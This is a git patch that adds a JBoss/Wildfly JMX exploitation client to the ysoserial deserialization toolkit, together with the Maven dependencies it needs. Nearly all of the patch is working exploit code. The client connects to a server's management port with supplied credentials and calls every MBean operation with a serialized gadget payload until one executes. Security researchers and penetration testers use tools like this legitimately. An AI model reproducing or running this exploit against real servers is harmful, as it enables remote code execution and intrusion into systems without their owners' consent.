From 8beeec65944c38b7eb9e466bb1312567f858dea9 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:38:18 +0100 Subject: [PATCH] Add JBoss/Wildfly exploitation client. --- pom.xml | 37 ++ src/main/java/ysoserial/exploit/JBoss.java | 503 +++++++++++++++++++++ 2 files changed, 540 insertions(+) create mode 100644 src/main/java/ysoserial/exploit/JBoss.java diff --git a/pom.xml b/pom.xml index 07f49ea..40e8006 100644 --- a/pom.xml +++ b/pom.xml @@ -118,6 +118,42 @@ org.jenkins-ci.main 2.55 + + org.jboss.logging + jboss-logging + 3.3.0.Final + + + org.jboss.remoting + jboss-remoting + 4.0.19.Final + + + org.jboss + jboss-common-core + 2.5.0.Final + + + org.jboss.logging + jboss-logging-spi + + + + + org.jboss.xnio + xnio-nio + 3.3.4.Final + + + org.jboss.sasl + jboss-sasl + 1.0.5.Final + + + org.jboss.remotingjmx + remoting-jmx + 2.0.1.Final + @@ -255,5 +291,6 @@ + diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java new file mode 100644 index 0000000..58ddd7e --- /dev/null +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -0,0 +1,503 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; +import java.util.logging.Handler; +import java.util.logging.Level; +import java.util.logging.LogManager; +import java.util.logging.LogRecord; +import java.util.logging.Logger; + +import javax.management.InstanceNotFoundException; +import javax.management.IntrospectionException; +import javax.management.MBeanInfo; +import javax.management.MBeanOperationInfo; +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ReflectionException; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.Callback; +import javax.security.auth.callback.CallbackHandler; +import javax.security.auth.callback.NameCallback; +import javax.security.auth.callback.PasswordCallback; +import javax.security.auth.callback.UnsupportedCallbackException; +import javax.security.sasl.RealmCallback; + +import org.jboss.remoting3.Channel; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.Endpoint; +import org.jboss.remoting3.OpenListener; +import org.jboss.remoting3.Remoting; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.ConnectionHandler; +import org.jboss.remoting3.spi.ConnectionHandlerContext; +import org.jboss.remoting3.spi.ConnectionHandlerFactory; +import org.jboss.remoting3.spi.ConnectionProvider; +import org.jboss.remoting3.spi.ConnectionProviderContext; +import org.jboss.remoting3.spi.RegisteredService; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.FutureResult; +import org.xnio.IoFuture; +import org.xnio.IoFuture.Status; +import org.xnio.OptionMap; +import org.xnio.Options; +import org.xnio.Xnio; +import org.xnio.XnioWorker; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * + * An exploitation client for JBoss AS/Wildfly JMX + * + * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + * + * + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JBoss { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[ 0 ]); + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 2 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String username = null; + String password = null; + if ( u.getUserInfo() != null ) { + int sep = u.getUserInfo().indexOf(':'); + if ( sep >= 0 ) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } + else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + + } + + + + /** + * @param u + * @param payloadObject + * @param username + * @param password + */ + private static void doRun ( URI u, final Object payloadObject, String username, String password ) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } + catch ( Throwable e ) { + e.printStackTrace(System.err); + } + finally { + cleanup(instance, context, ch, c, vc); + } + } + + + + /** + * @param instance + * @param context + * @param ch + * @param c + * @param vc + */ + private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc ) { + if ( vc != null ) { + vc.close(); + } + + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( ch != null ) { + try { + ch.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + if ( instance != null ) { + try { + instance.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( context != null ) { + context.getXnioWorker().shutdown(); + } + } + + + /** + * @param destination + * @param username + * @param password + * @param context + * @param instance + * @param options + * @param xnioSsl + * @return + * @throws IOException + * @throws InterruptedException + * @throws NoSuchAlgorithmException + * @throws NoSuchProviderException + * @throws KeyManagementException + */ + private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options ) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); + instance.connect(null, destination, options, result, new CallbackHandler() { + + public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException { + + for ( Callback cb : callbacks ) { + + if ( cb instanceof NameCallback ) { + ( (NameCallback) cb ).setName(username); + } + else if ( cb instanceof PasswordCallback ) { + ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]); + } + else if ( !( cb instanceof RealmCallback) ) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if ( s == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( ioFuture.getException() != null ) { + ioFuture.getException().printStackTrace(System.err); + } + } + else if ( s != Status.DONE ) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); + return chf; + } + + + /** + * @param context + * @param ch + * @param options + * @return + * @throws IOException + */ + private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException { + Channel c; + FutureResult chResult = new FutureResult(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if ( s2 == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( cFuture.getException() != null ) { + throw new IOException("Connect failed", cFuture.getException()); + } + } + else if ( s2 != Status.DONE ) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + /** + * @param c + * @return + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws MalformedURLException + */ + private static VersionedConnection makeVersionedConnection ( Channel c ) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + vcCreate.setAccessible(true); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + /** + * @param payloadObject + * @param mbc + * @throws IOException + * @throws InstanceNotFoundException + * @throws IntrospectionException + * @throws ReflectionException + */ + private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc ) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[ 0 ] = payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for ( ObjectInstance oi : testMBeans ) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } + catch ( Throwable e ) { + String msg = e.getMessage(); + if ( msg.startsWith("java.lang.ClassNotFoundException:") ) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : ""; + if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) { + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + } + } + else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + /** + * @author mbechler + * + */ + private static final class ConsoleLogHandler extends Handler { + + + @Override + public void publish ( LogRecord record ) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush () { + + } + + + @Override + public void close () throws SecurityException {} + } + + /** + * @author mbechler + * + */ + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private ConnectionProviderContextImpl context; + + + /** + * @param context + */ + public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) { + this.context = context; + } + + + public void remoteClosed () {} + + + public OpenListener getServiceOpenListener ( String serviceType ) { + return null; + } + + + public RegisteredService getRegisteredService ( String serviceType ) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext () { + return this.context; + } + + + public Connection getConnection () { + return null; + } + } + + /** + * @author mbechler + * + */ + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private XnioWorker worker; + private ExecutorService executor; + private Xnio instance; + private Endpoint endpoint; + + + /** + * @param endpointName + * @throws IOException + * @throws IllegalArgumentException + * + */ + public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + } + }); + } + + + public XnioWorker getXnioWorker () { + return this.worker; + } + + + public Xnio getXnio () { + return this.instance; + } + + + public Executor getExecutor () { + return this.executor; + } + + + public Endpoint getEndpoint () { + return this.endpoint; + } + + + public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) { + System.err.println("accept"); + } + + } + +}